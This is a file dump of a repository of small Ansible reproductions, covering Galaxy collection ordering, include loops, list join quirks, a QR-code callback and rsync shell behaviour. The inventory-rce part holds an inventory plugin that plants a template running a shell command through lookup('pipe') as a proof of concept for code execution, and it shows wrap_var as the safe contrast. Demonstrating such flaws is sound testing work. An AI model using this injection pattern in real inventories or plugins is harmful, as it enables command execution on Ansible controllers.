├── collections ├── ansible.cfg ├── evgeni │ ├── test1-dev │ │ ├── README.md │ │ ├── galaxy.yml │ │ ├── meta │ │ │ └── runtime.yml │ │ └── plugins │ │ │ └── README.md │ ├── test1 │ │ ├── README.md │ │ ├── galaxy.yml │ │ ├── meta │ │ │ └── runtime.yml │ │ └── plugins │ │ │ └── README.md │ └── test2 │ │ ├── README.md │ │ ├── galaxy.yml │ │ ├── meta │ │ └── runtime.yml │ │ └── plugins │ │ └── README.md └── requirements.yml ├── conditional-loop-include-with-blocks ├── blocked.yml ├── level1-inlineblock.yml ├── level1.yml ├── main-ok.yml └── main.yml ├── inventory-rce ├── evgeni │ └── inventoryrce │ │ └── plugins │ │ └── inventory │ │ └── inventory.py ├── inventory.evgeni.yml └── test.yml ├── list-concat-join ├── README.md └── playbook.yml ├── qr ├── ansible.cfg └── callback_plugins │ └── qr.py └── rsync-local-uses-remote-shell ├── Vagrantfile └── playbook.yml /collections/ansible.cfg: -------------------------------------------------------------------------------- 1 | [galaxy] 2 | server_list = test_galaxy, release_galaxy, test_galaxy 3 | 4 | [galaxy_server.release_galaxy] 5 | url=https://galaxy.ansible.com/ 6 | 7 | [galaxy_server.test_galaxy] 8 | url=https://galaxy-dev.ansible.com/ 9 | -------------------------------------------------------------------------------- /collections/evgeni/test1-dev/README.md: -------------------------------------------------------------------------------- 1 | # Ansible Collection - evgeni.test1 2 | 3 | Documentation for the collection. -------------------------------------------------------------------------------- /collections/evgeni/test1-dev/galaxy.yml: -------------------------------------------------------------------------------- 1 | ### REQUIRED 2 | 3 | # The namespace of the collection. This can be a company/brand/organization or product namespace under which all 4 | # content lives. May only contain alphanumeric lowercase characters and underscores. Namespaces cannot start with 5 | # underscores or numbers and cannot contain consecutive underscores 6 | namespace: evgeni 7 | 8 | # The name of the collection. Has the same character restrictions as 'namespace' 9 | name: test1 10 | 11 | # The version of the collection. Must be compatible with semantic versioning 12 | version: 2.0.0 13 | 14 | # The path to the Markdown (.md) readme file. This path is relative to the root of the collection 15 | readme: README.md 16 | 17 | # A list of the collection's content authors. Can be just the name or in the format 'Full Name (url) 18 | # @nicks:irc/im.site#channel' 19 | authors: 20 | - "Evgeni Golov " 21 | 22 | 23 | ### OPTIONAL but strongly recommended 24 | 25 | # A short summary description of the collection 26 | description: your collection description 27 | 28 | # Either a single license or a list of licenses for content inside of a collection. Ansible Galaxy currently only 29 | # accepts L(SPDX,https://spdx.org/licenses/) licenses. This key is mutually exclusive with 'license_file' 30 | license: 31 | - GPL-2.0-or-later 32 | 33 | # The path to the license file for the collection. This path is relative to the root of the collection. This key is 34 | # mutually exclusive with 'license' 35 | license_file: '' 36 | 37 | # A list of tags you want to associate with the collection for indexing/searching. A tag name has the same character 38 | # requirements as 'namespace' and 'name' 39 | tags: [] 40 | 41 | # Collections that this collection requires to be installed for it to be usable. The key of the dict is the 42 | # collection label 'namespace.name'. The value is a version range 43 | # L(specifiers,https://python-semanticversion.readthedocs.io/en/latest/#requirement-specification). Multiple version 44 | # range specifiers can be set and are separated by ',' 45 | dependencies: {} 46 | 47 | # The URL of the originating SCM repository 48 | repository: http://example.com/repository 49 | 50 | # The URL to any online docs 51 | documentation: http://docs.example.com 52 | 53 | # The URL to the homepage of the collection/project 54 | homepage: http://example.com 55 | 56 | # The URL to the collection issue tracker 57 | issues: http://example.com/issue/tracker 58 | -------------------------------------------------------------------------------- /collections/evgeni/test1-dev/meta/runtime.yml: -------------------------------------------------------------------------------- 1 | --- 2 | requires_ansible: '>=2.8' 3 | -------------------------------------------------------------------------------- /collections/evgeni/test1-dev/plugins/README.md: -------------------------------------------------------------------------------- 1 | # Collections Plugins Directory 2 | 3 | This directory can be used to ship various plugins inside an Ansible collection. Each plugin is placed in a folder that 4 | is named after the type of plugin it is in. It can also include the `module_utils` and `modules` directory that 5 | would contain module utils and modules respectively. 6 | 7 | Here is an example directory of the majority of plugins currently supported by Ansible: 8 | 9 | ``` 10 | └── plugins 11 | ├── action 12 | ├── become 13 | ├── cache 14 | ├── callback 15 | ├── cliconf 16 | ├── connection 17 | ├── filter 18 | ├── httpapi 19 | ├── inventory 20 | ├── lookup 21 | ├── module_utils 22 | ├── modules 23 | ├── netconf 24 | ├── shell 25 | ├── strategy 26 | ├── terminal 27 | ├── test 28 | └── vars 29 | ``` 30 | 31 | A full list of plugin types can be found at [Working With Plugins](https://docs.ansible.com/ansible/2.9/plugins/plugins.html). -------------------------------------------------------------------------------- /collections/evgeni/test1/README.md: -------------------------------------------------------------------------------- 1 | # Ansible Collection - evgeni.test1 2 | 3 | Documentation for the collection. -------------------------------------------------------------------------------- /collections/evgeni/test1/galaxy.yml: -------------------------------------------------------------------------------- 1 | ### REQUIRED 2 | 3 | # The namespace of the collection. This can be a company/brand/organization or product namespace under which all 4 | # content lives. May only contain alphanumeric lowercase characters and underscores. Namespaces cannot start with 5 | # underscores or numbers and cannot contain consecutive underscores 6 | namespace: evgeni 7 | 8 | # The name of the collection. Has the same character restrictions as 'namespace' 9 | name: test1 10 | 11 | # The version of the collection. Must be compatible with semantic versioning 12 | version: 1.0.0 13 | 14 | # The path to the Markdown (.md) readme file. This path is relative to the root of the collection 15 | readme: README.md 16 | 17 | # A list of the collection's content authors. Can be just the name or in the format 'Full Name (url) 18 | # @nicks:irc/im.site#channel' 19 | authors: 20 | - "Evgeni Golov " 21 | 22 | 23 | ### OPTIONAL but strongly recommended 24 | 25 | # A short summary description of the collection 26 | description: your collection description 27 | 28 | # Either a single license or a list of licenses for content inside of a collection. Ansible Galaxy currently only 29 | # accepts L(SPDX,https://spdx.org/licenses/) licenses. This key is mutually exclusive with 'license_file' 30 | license: 31 | - GPL-2.0-or-later 32 | 33 | # The path to the license file for the collection. This path is relative to the root of the collection. This key is 34 | # mutually exclusive with 'license' 35 | license_file: '' 36 | 37 | # A list of tags you want to associate with the collection for indexing/searching. A tag name has the same character 38 | # requirements as 'namespace' and 'name' 39 | tags: [] 40 | 41 | # Collections that this collection requires to be installed for it to be usable. The key of the dict is the 42 | # collection label 'namespace.name'. The value is a version range 43 | # L(specifiers,https://python-semanticversion.readthedocs.io/en/latest/#requirement-specification). Multiple version 44 | # range specifiers can be set and are separated by ',' 45 | dependencies: {} 46 | 47 | # The URL of the originating SCM repository 48 | repository: http://example.com/repository 49 | 50 | # The URL to any online docs 51 | documentation: http://docs.example.com 52 | 53 | # The URL to the homepage of the collection/project 54 | homepage: http://example.com 55 | 56 | # The URL to the collection issue tracker 57 | issues: http://example.com/issue/tracker 58 | -------------------------------------------------------------------------------- /collections/evgeni/test1/meta/runtime.yml: -------------------------------------------------------------------------------- 1 | --- 2 | requires_ansible: '>=2.8' 3 | -------------------------------------------------------------------------------- /collections/evgeni/test1/plugins/README.md: -------------------------------------------------------------------------------- 1 | # Collections Plugins Directory 2 | 3 | This directory can be used to ship various plugins inside an Ansible collection. Each plugin is placed in a folder that 4 | is named after the type of plugin it is in. It can also include the `module_utils` and `modules` directory that 5 | would contain module utils and modules respectively. 6 | 7 | Here is an example directory of the majority of plugins currently supported by Ansible: 8 | 9 | ``` 10 | └── plugins 11 | ├── action 12 | ├── become 13 | ├── cache 14 | ├── callback 15 | ├── cliconf 16 | ├── connection 17 | ├── filter 18 | ├── httpapi 19 | ├── inventory 20 | ├── lookup 21 | ├── module_utils 22 | ├── modules 23 | ├── netconf 24 | ├── shell 25 | ├── strategy 26 | ├── terminal 27 | ├── test 28 | └── vars 29 | ``` 30 | 31 | A full list of plugin types can be found at [Working With Plugins](https://docs.ansible.com/ansible/2.9/plugins/plugins.html). -------------------------------------------------------------------------------- /collections/evgeni/test2/README.md: -------------------------------------------------------------------------------- 1 | # Ansible Collection - evgeni.test2 2 | 3 | Documentation for the collection. -------------------------------------------------------------------------------- /collections/evgeni/test2/galaxy.yml: -------------------------------------------------------------------------------- 1 | ### REQUIRED 2 | 3 | # The namespace of the collection. This can be a company/brand/organization or product namespace under which all 4 | # content lives. May only contain alphanumeric lowercase characters and underscores. Namespaces cannot start with 5 | # underscores or numbers and cannot contain consecutive underscores 6 | namespace: evgeni 7 | 8 | # The name of the collection. Has the same character restrictions as 'namespace' 9 | name: test2 10 | 11 | # The version of the collection. Must be compatible with semantic versioning 12 | version: 1.0.0 13 | 14 | # The path to the Markdown (.md) readme file. This path is relative to the root of the collection 15 | readme: README.md 16 | 17 | # A list of the collection's content authors. Can be just the name or in the format 'Full Name (url) 18 | # @nicks:irc/im.site#channel' 19 | authors: 20 | - "Evgeni Golov " 21 | 22 | 23 | ### OPTIONAL but strongly recommended 24 | 25 | # A short summary description of the collection 26 | description: your collection description 27 | 28 | # Either a single license or a list of licenses for content inside of a collection. Ansible Galaxy currently only 29 | # accepts L(SPDX,https://spdx.org/licenses/) licenses. This key is mutually exclusive with 'license_file' 30 | license: 31 | - GPL-2.0-or-later 32 | 33 | # The path to the license file for the collection. This path is relative to the root of the collection. This key is 34 | # mutually exclusive with 'license' 35 | license_file: '' 36 | 37 | # A list of tags you want to associate with the collection for indexing/searching. A tag name has the same character 38 | # requirements as 'namespace' and 'name' 39 | tags: [] 40 | 41 | # Collections that this collection requires to be installed for it to be usable. The key of the dict is the 42 | # collection label 'namespace.name'. The value is a version range 43 | # L(specifiers,https://python-semanticversion.readthedocs.io/en/latest/#requirement-specification). Multiple version 44 | # range specifiers can be set and are separated by ',' 45 | dependencies: 46 | evgeni.test1: "*" 47 | 48 | # The URL of the originating SCM repository 49 | repository: http://example.com/repository 50 | 51 | # The URL to any online docs 52 | documentation: http://docs.example.com 53 | 54 | # The URL to the homepage of the collection/project 55 | homepage: http://example.com 56 | 57 | # The URL to the collection issue tracker 58 | issues: http://example.com/issue/tracker 59 | -------------------------------------------------------------------------------- /collections/evgeni/test2/meta/runtime.yml: -------------------------------------------------------------------------------- 1 | --- 2 | requires_ansible: '>=2.8' 3 | -------------------------------------------------------------------------------- /collections/evgeni/test2/plugins/README.md: -------------------------------------------------------------------------------- 1 | # Collections Plugins Directory 2 | 3 | This directory can be used to ship various plugins inside an Ansible collection. Each plugin is placed in a folder that 4 | is named after the type of plugin it is in. It can also include the `module_utils` and `modules` directory that 5 | would contain module utils and modules respectively. 6 | 7 | Here is an example directory of the majority of plugins currently supported by Ansible: 8 | 9 | ``` 10 | └── plugins 11 | ├── action 12 | ├── become 13 | ├── cache 14 | ├── callback 15 | ├── cliconf 16 | ├── connection 17 | ├── filter 18 | ├── httpapi 19 | ├── inventory 20 | ├── lookup 21 | ├── module_utils 22 | ├── modules 23 | ├── netconf 24 | ├── shell 25 | ├── strategy 26 | ├── terminal 27 | ├── test 28 | └── vars 29 | ``` 30 | 31 | A full list of plugin types can be found at [Working With Plugins](https://docs.ansible.com/ansible/2.9/plugins/plugins.html). -------------------------------------------------------------------------------- /collections/requirements.yml: -------------------------------------------------------------------------------- 1 | collections: 2 | - name: evgeni.test2 3 | version: '*' 4 | source: https://galaxy.ansible.com 5 | -------------------------------------------------------------------------------- /conditional-loop-include-with-blocks/blocked.yml: -------------------------------------------------------------------------------- 1 | - block: 2 | - name: this is block 3 | debug: 4 | msg: my block 5 | -------------------------------------------------------------------------------- /conditional-loop-include-with-blocks/level1-inlineblock.yml: -------------------------------------------------------------------------------- 1 | - name: print {{ myitem }} 2 | debug: 3 | msg: "{{ myitem }}" 4 | 5 | - block: 6 | - name: this is block 7 | debug: 8 | msg: my block 9 | -------------------------------------------------------------------------------- /conditional-loop-include-with-blocks/level1.yml: -------------------------------------------------------------------------------- 1 | - name: print {{ myitem }} 2 | debug: 3 | msg: "{{ myitem }}" 4 | - include: blocked.yml 5 | -------------------------------------------------------------------------------- /conditional-loop-include-with-blocks/main-ok.yml: -------------------------------------------------------------------------------- 1 | - hosts: localhost 2 | gather_facts: false 3 | vars: 4 | myitems: 5 | - name: foo 6 | position: foo 7 | - name: bar 8 | tasks: 9 | - include: level1-inlineblock.yml 10 | args: 11 | myitem: "{{ item.name }}" 12 | when: item.position | default("normal") == "foo" 13 | with_items: 14 | "{{ myitems }}" 15 | -------------------------------------------------------------------------------- /conditional-loop-include-with-blocks/main.yml: -------------------------------------------------------------------------------- 1 | - hosts: localhost 2 | gather_facts: false 3 | vars: 4 | myitems: 5 | - name: foo 6 | position: foo 7 | - name: bar 8 | tasks: 9 | - include: level1.yml 10 | args: 11 | myitem: "{{ item.name }}" 12 | when: item.position | default("normal") == "foo" 13 | with_items: 14 | "{{ myitems }}" 15 | -------------------------------------------------------------------------------- /inventory-rce/evgeni/inventoryrce/plugins/inventory/inventory.py: -------------------------------------------------------------------------------- 1 | from ansible.plugins.inventory import BaseInventoryPlugin 2 | from ansible.utils.unsafe_proxy import wrap_var 3 | 4 | class InventoryModule(BaseInventoryPlugin): 5 | 6 | NAME = 'evgeni.inventoryrce.inventory' # used internally by Ansible, it should match the file name but not required 7 | 8 | def verify_file(self, path): 9 | ''' return true/false if this is possibly a valid file for this plugin to consume ''' 10 | valid = False 11 | if super(InventoryModule, self).verify_file(path): 12 | # base class verifies that file exists and is readable by current user 13 | if path.endswith(('evgeni.yaml', 'evgeni.yml')): 14 | valid = True 15 | return valid 16 | 17 | def parse(self, inventory, loader, path, cache=True): 18 | super(InventoryModule, self).parse(inventory, loader, path, cache) 19 | self.inventory.add_host('exploit.example.com') 20 | self.inventory.set_variable('exploit.example.com', 'ansible_connection', 'local') 21 | self.inventory.set_variable('exploit.example.com', 'something_funny', '{{ lookup("pipe", "touch /tmp/hacked" ) }}') 22 | self.inventory.set_variable('exploit.example.com', 'something_safe', wrap_var('{{ lookup("pipe", "touch /tmp/hacked" ) }}')) 23 | -------------------------------------------------------------------------------- /inventory-rce/inventory.evgeni.yml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evgeni/ansible-wtf/2a7b1e7112e59e600eb10c59dfd93e0bcc66d83c/inventory-rce/inventory.evgeni.yml -------------------------------------------------------------------------------- /inventory-rce/test.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - hosts: all 3 | tasks: 4 | - name: debug 5 | debug: 6 | var: hostvars[inventory_hostname] 7 | -------------------------------------------------------------------------------- /list-concat-join/README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | % ansible-playbook playbook.yml 3 | 4 | PLAY [localhost] ************************************************************** 5 | 6 | TASK [set_fact] *************************************************************** 7 | ok: [localhost] 8 | 9 | TASK [show that both_lists is a list] ***************************************** 10 | ok: [localhost] => { 11 | "msg": [ 12 | "a_something", 13 | "another_something" 14 | ] 15 | } 16 | 17 | TASK [show that you can add lists to a list, with parentheses] **************** 18 | ok: [localhost] => { 19 | "msg": [ 20 | "a_something", 21 | "another_something" 22 | ] 23 | } 24 | 25 | TASK [show that you can add lists to a list, WITHOUT parentheses] ************* 26 | ok: [localhost] => { 27 | "msg": [ 28 | "a_something", 29 | "another_something" 30 | ] 31 | } 32 | 33 | TASK [join both_lists] ******************************************************** 34 | ok: [localhost] => { 35 | "msg": "a_something, another_something" 36 | } 37 | 38 | TASK [join with parentheses works] ******************************************** 39 | ok: [localhost] => { 40 | "msg": "a_something, another_something" 41 | } 42 | 43 | TASK [join without parentheses fails] ***************************************** 44 | fatal: [localhost]: FAILED! => {"msg": "Unexpected templating type error occurred on ({{ a_list + another_list | join(', ') }}): can only concatenate list (not \"str\") to list"} 45 | 46 | PLAY RECAP ******************************************************************** 47 | localhost : ok=6 changed=0 unreachable=0 failed=1 48 | ``` 49 | -------------------------------------------------------------------------------- /list-concat-join/playbook.yml: -------------------------------------------------------------------------------- 1 | - hosts: localhost 2 | gather_facts: no 3 | vars: 4 | a_list: 5 | - a_something 6 | another_list: 7 | - another_something 8 | tasks: 9 | - set_fact: 10 | both_lists: "{{ a_list + another_list }}" 11 | - name: show that both_lists is a list 12 | debug: 13 | msg: "{{ both_lists }}" 14 | - name: show that you can add lists to a list, with parentheses 15 | debug: 16 | msg: "{{ (a_list + another_list) }}" 17 | - name: show that you can add lists to a list, WITHOUT parentheses 18 | debug: 19 | msg: "{{ a_list + another_list }}" 20 | - name: join both_lists 21 | debug: 22 | msg: "{{ both_lists | join(', ') }}" 23 | - name: join with parentheses works 24 | debug: 25 | msg: "{{ (a_list + another_list) | join(', ') }}" 26 | - name: join without parentheses fails 27 | debug: 28 | msg: "{{ a_list + another_list | join(', ') }}" 29 | -------------------------------------------------------------------------------- /qr/ansible.cfg: -------------------------------------------------------------------------------- 1 | [defaults] 2 | callback_plugins = $PWD/callback_plugins/ 3 | callback_whitelist = qr 4 | callbacks_enabled = qr 5 | 6 | -------------------------------------------------------------------------------- /qr/callback_plugins/qr.py: -------------------------------------------------------------------------------- 1 | from __future__ import (absolute_import, division, print_function) 2 | __metaclass__ = type 3 | 4 | DOCUMENTATION = ''' 5 | callback: qr 6 | type: aggregate 7 | short_description: display play stats as a QR code 8 | requirements: 9 | - qrcode 10 | ''' 11 | 12 | import io 13 | import json 14 | import qrcode 15 | 16 | from ansible.plugins.callback import CallbackBase 17 | 18 | 19 | class CallbackModule(CallbackBase): 20 | CALLBACK_VERSION = 2.0 21 | CALLBACK_TYPE = 'aggregate' 22 | CALLBACK_NAME = 'qr' 23 | CALLBACK_NEEDS_ENABLED = True 24 | CALLBACK_NEEDS_WHITELIST = True 25 | 26 | def __init__(self, display=None): 27 | super(CallbackModule, self).__init__(display=display) 28 | 29 | def v2_playbook_on_stats(self, stats): 30 | self._display.banner("PLAY RECAP QR") 31 | 32 | hosts = sorted(stats.processed.keys()) 33 | result = {h: stats.summarize(h) for h in hosts} 34 | 35 | qr_result = qrcode.QRCode() 36 | qr_result.add_data(json.dumps(result)) 37 | file_result = io.StringIO() 38 | qr_result.print_ascii(out=file_result) 39 | file_result.seek(0) 40 | 41 | self._display.display("", screen_only=True) 42 | self._display.display(file_result.read()) 43 | self._display.display("", screen_only=True) 44 | -------------------------------------------------------------------------------- /rsync-local-uses-remote-shell/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | Vagrant.configure("2") do |config| 5 | # Every Vagrant development environment requires a box. You can search for 6 | # boxes at https://atlas.hashicorp.com/search. 7 | config.vm.box = "debian/jessie64" 8 | 9 | # disable the synced folder, we don't need it and it will just take time 10 | config.vm.synced_folder ".", "/vagrant", disabled: true 11 | 12 | # use the ansible provisioner and force the shell to be dash on the machine 13 | config.vm.provision "ansible" do |ansible| 14 | ansible.playbook = "playbook.yml" 15 | ansible.verbose = "vvv" 16 | ansible.host_vars = { 17 | "default" => {"ansible_shell_executable" => "/bin/dash"} 18 | } 19 | end 20 | end 21 | -------------------------------------------------------------------------------- /rsync-local-uses-remote-shell/playbook.yml: -------------------------------------------------------------------------------- 1 | - hosts: all 2 | tasks: 3 | - name: copy file 4 | synchronize: 5 | src: /etc/passwd 6 | dest: /tmp/passwd 7 | --------------------------------------------------------------------------------